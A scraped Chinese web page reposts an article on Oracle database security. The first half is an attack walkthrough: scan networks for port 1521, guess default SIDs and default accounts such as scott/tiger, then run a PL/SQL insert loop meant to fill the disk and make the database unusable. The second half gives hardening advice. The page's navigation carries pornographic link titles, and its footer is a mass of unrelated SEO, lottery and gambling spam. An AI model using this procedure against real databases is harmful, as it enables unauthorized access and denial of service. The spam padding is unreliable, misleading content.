电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

搞垮他的數據庫--談Oracle安全

瀏覽:39日期:2023-11-14 14:19:19
--田月 人們經常聽到Windows的安全漏洞,頻繁的遭受病毒攻擊等,我們的傳統觀念是 Windows太不安全了;實際上Unix/Linux假如配置不當,其危險性遠遠高出人們的想象,大部分人非常重視操作系統的安全,但作為其最重要的數據庫應用,你注重它了么?本文旨在介紹數據庫級的安全,當然操作系統被攻破的話,那一切免談。 讓我帶你去試著攻擊一臺裝有Oracle的機器1、首先確定被攻擊Oracle的IP地址(無目的,那就去全網掃描吧,發現1521端口打開的就挑出來,不要說連掃描都不會,F..t)2、猜測它的SID號;好象很困難,事實上安裝Oracle時有缺省值,80%的人安裝時都不會去修改,或改為很輕易猜測的值,比如:ORCL、ORA、ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...3、連接后,猜測用戶名和口令;好象更困難,事實上安裝 Oracle時,SYS、SYSTEM等系統用戶有缺省口令,可惜在9i中,終于改為需用戶自己確定口令(不過大部分用戶還是沿用以前的口令或使用'oracle'),而且還有被人們遺忘的用戶,比如SCOTT,缺省安裝時他會被建立起來的。4、sqlplus scott/tiger@ora_sid 終于登陸進來,可是這個小用戶只是用來做測試學習的,我們用他來干什么呢?鍵入:SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;USERNAME;;;;DEFAULT_TABLESPACE------------------------------ ------------------------------SCOTT; USERSSQL> select * from session_privs;PRIVILEGE----------------------------------------CREATE SESSIONALTER SESSIONUNLIMITED TABLESPACECREATE TABLECREATE CLUSTERCREATE SYNONYMCREATE VIEWCREATE SEQUENCECREATE DATABASE LINKCREATE PROCEDURECREATE TRIGGERCREATE TYPECREATE OPERATORCREATE INDEXTYPESQL> select * from user_ts_quotas;TABLESPACE_NAME;;BYTES; MAX_BYTES;;BLOCKS MAX_BLOCKS------------------------------ ---------- ---------- ---------- ----------SYSTEM;;524288; 0 64; 0USERS;;;;65536; 0; 8; 0什么意思呢?意思是我們的這個用戶是數據缺省是建在USERS表空間上的,擁有建表等權限,而USERS表空間的磁盤使用是無限制的,聰明的讀者應該明白我們可以在這里寫入很多數據直到占滿它的磁盤,造成數據庫無法使用......我們試試吧先建張表SQL> CREATE TABLE TEST (A CHAR(30));這張TEST表只有一個字段A再寫個PL/SQL過程DECLAREv_number varchar2(30);m_number varchar2(30):=999999999999999999999999999999;--m_number的值代表了插入多少行數據,可修改但不能超過30位。 beginFOR v_number IN 1..m_number LOOPinsert into TEST(A) values(m_number);commit;end LOOP;end;/ 上面的PL/SQL過程表示給TEST表中A列循環插入'999999999999999999999999999999'值,共計999999999999999999999999999999行。以每行30 byte來算,共計2000000多億T大小吧,即便他是IBM大鯊魚的陣列存儲,也扛不住。 當然,你也可以增加幾個列,減少m_number值,可以加快速度的。 這里再提醒大家一個Oracle缺省用戶DBSNMP,幾乎所有稍高版本的典型安裝都會創建它,危險指數高于SCOTT,因為它是創建在SYSTEM表空間的......F..t 講了半天,DBA們快看看自己的系統,一般來說成功率相當高。下面我們開始講講如何作好安全防護:1、啟用防火墻。很多單位的數據庫都沒有防火墻保護,或防火墻配置為透明。實際上防火墻可以有效的阻止掃描 ,假如做了NAT、地址限制、禁止ICMP等就更好了,讓別人在外網看不到你的數據庫。2、加大多層結構數據庫應用的建設。傳統的C/S盡管有很多優勢,但在安全性上實在令人擔心。很多程序開發者會將數據庫的用戶名和密碼直接寫在客戶端程序中,認為編譯后會很安全,但事實上你用文本編輯器打開過這個客戶端程序嗎?你會吃驚的發現竟然可以看到用戶名和密碼。多層結構就沒有這個問題,前臺就是個瀏覽器或簡單的客戶端,可能會影響效率但在需要全網公開提供服務的情況下肯定是首選。3、去除Oracle里用不到的組件,比如Jserver、Agent、遠程治理等等,這些強大的功能都是安全隱患,9I的AS存在緩沖溢出漏洞,假如你裝了就做祈禱吧...4、修改缺省用戶的密碼,自建用戶加強口令治理和復雜度。用system用戶進入執行SQL> select username from dba_users;USERNAME------------------------------SYSSYSTEMOUTLNDBSNMPTESTSCOTTRMANTEST1SQL> select * from session_privs;PRIVILEGE----------------------------------------CREATE SESSIONALTER SESSIONCREATE TABLECREATE CLUSTERCREATE SYNONYMCREATE VIEWCREATE SEQUENCECREATE DATABASE LINKSELECT ANY DICTIONARY看看你系統到底存在哪些用戶,口令修改了嗎,夠復雜嗎,相應的權限是否有擴大的嫌疑?5、作好數據備份具體這里就不多說了,CSDN相關版塊里有具體的帖子描述Oracle備份機制。6、合理劃分文件系統*在Unix/Linux下使用df -k檢查你的文件系統,不同用戶使用不同的表空間,不同的表空間建在不同的文件系統,千萬不要把應用建在SYSTEM表空間上,回滾/重做表空間的治理也不容忽視;SQL> host df -kFilesystem1K-blocks;;;Used Available Use% Mounted on/dev/hda2;;;503631621008322679652; 44% //dev/hda3;;;50363164381292;399192; 92% /oraclenone;256144 0;2561440% /dev/shm/dev/hda5;;;2016016;8631441050460; 46% /data1/dev/hda7;;;6166948;5581765295508; 10% /data2/dev/cdrom;;;;81762;;81762 0 100% /mnt/cdromSQL> select file_name,tablespace_name from dba_data_filFILE_NAME-------------------------------------------------------TABLESPACE_NAME------------------------------/oracle/prodUCt/9.2.01/oradata/system.dbfSYSTEM/oracle/product/9.2.01/oradata/undotbs.dbfUNDOTBS/data1/oradata/data1.dbfDATA1/data2/oradata/data2.dbfDATA2*在Windows下,使用資源治理器檢查你的分區,不同的表空間建在不同的分區上,同樣千萬不要把SYSTEM表空間和應用放在一起。 當然,安全治理浩如煙海,這篇文章全當拋磚引玉......
標簽: Oracle 數據庫
主站蜘蛛池模板: 一体式钢筋扫描仪-楼板测厚仪-裂缝检测仪-泰仕特(北京) | 知企服务-企业综合服务(ZiKeys.com)-品优低价、种类齐全、过程管理透明、速度快捷高效、放心服务,知企专家! | 东莞注册公司-代办营业执照-东莞公司注册代理记账-极刻财税 | 小区健身器材_户外健身器材_室外健身器材_公园健身路径-沧州浩然体育器材有限公司 | 临海涌泉蜜桔官网|涌泉蜜桔微商批发代理|涌泉蜜桔供应链|涌泉蜜桔一件代发 | 冷藏车-东风吸污车-纯电动环卫车-污水净化车-应急特勤保障车-程力专汽厂家-程力专用汽车股份有限公司销售二十一分公司 | 砂石生产线_石料生产线设备_制砂生产线设备价格_生产厂家-河南中誉鼎力智能装备有限公司 | 模具钢_高速钢_不锈钢-万利钢金属材料| 合肥活动房_安徽活动板房_集成打包箱房厂家-安徽玉强钢结构集成房屋有限公司 | 板框压滤机-隔膜压滤机配件生产厂家-陕西华星佳洋装备制造有限公司 | 百度关键词优化_网站优化_SEO价格 - 云无限好排名 | 电位器_轻触开关_USB连接器_广东精密龙电子科技有限公司 | 船用泵,船用离心泵,船用喷射泵,泰州隆华船舶设备有限公司 | 拉曼光谱仪_便携式|激光|显微共焦拉曼光谱仪-北京卓立汉光仪器有限公司 | 3A别墅漆/3A环保漆_广东美涂士建材股份有限公司【官网】 | 对照品_中药对照品_标准品_对照药材_「格利普」高纯中药标准品厂家-成都格利普生物科技有限公司 澳门精准正版免费大全,2025新澳门全年免费,新澳天天开奖免费资料大全最新,新澳2025今晚开奖资料,新澳马今天最快最新图库 | 电加热导热油炉-空气加热器-导热油加热器-翅片电加热管-科安达机械 | 吉林污水处理公司,长春工业污水处理设备,净水设备-长春易洁环保科技有限公司 | 缓蚀除垢剂_循环水阻垢剂_反渗透锅炉阻垢剂_有机硫化物-郑州威大水处理材料有限公司 | 南京试剂|化学试剂|分析试剂|实验试剂|cas号查询-专业60年试剂销售企业 | 龙门加工中心-数控龙门加工中心厂家价格-山东海特数控机床有限公司_龙门加工中心-数控龙门加工中心厂家价格-山东海特数控机床有限公司 | 冲锋衣滑雪服厂家-冲锋衣定制工厂-滑雪服加工厂-广东睿牛户外(S-GERT) | 湖南长沙商标注册专利申请,长沙公司注册代理记账首选美创! | 合肥注册公司|合肥代办营业执照、2024注册公司流程 | 干式磁选机_湿式磁选机_粉体除铁器-潍坊国铭矿山设备有限公司 | 葡萄酒灌装机-食用油灌装机-液体肥灌装设备厂家_青州惠联灌装机械 | 高压绝缘垫-红色配电房绝缘垫-绿色高压绝缘地毯-上海苏海电气 | 恒湿机_除湿加湿一体机_恒湿净化消毒一体机厂家-杭州英腾电器有限公司 | 防潮防水通风密闭门源头实力厂家 - 北京酷思帝克门窗 | [官网]叛逆孩子管教_戒网瘾学校_全封闭问题青少年素质教育_新起点青少年特训学校 | 快速门厂家批发_PVC快速卷帘门_高速门_高速卷帘门-广州万盛门业 快干水泥|桥梁伸缩缝止水胶|伸缩缝装置生产厂家-广东广航交通科技有限公司 | 加中寰球移民官网-美国移民公司,移民机构,移民中介,移民咨询,投资移民 | 环讯传媒,永康网络公司,永康网站建设,永康小程序开发制作,永康网站制作,武义网页设计,金华地区网站SEO优化推广 - 永康市环讯电子商务有限公司 | 硫酸亚铁-聚合硫酸铁-除氟除磷剂-复合碳源-污水处理药剂厂家—长隆科技 | 翰墨AI智能写作助手官网_人工智能问答在线AI写作免费一键生成 | 焊接烟尘净化器__焊烟除尘设备_打磨工作台_喷漆废气治理设备 -催化燃烧设备 _天津路博蓝天环保科技有限公司 | 酵素生产厂家_酵素OEM_酵素加盟_酵素ODM_酵素原料厂家_厦门益力康 | 特种阀门-调节阀门-高温熔盐阀-镍合金截止阀-钛阀门-高温阀门-高性能蝶阀-蒙乃尔合金阀门-福建捷斯特阀门制造有限公司 | 在线浊度仪_悬浮物污泥浓度计_超声波泥位计_污泥界面仪_泥水界面仪-无锡蓝拓仪表科技有限公司 | 旗杆生产厂家_不锈钢锥形旗杆价格_铝合金电动旗杆-上海锥升金属科技有限公司 | 无锡门窗-系统门窗-阳光房-封阳台-断桥铝门窗厂[窗致美] |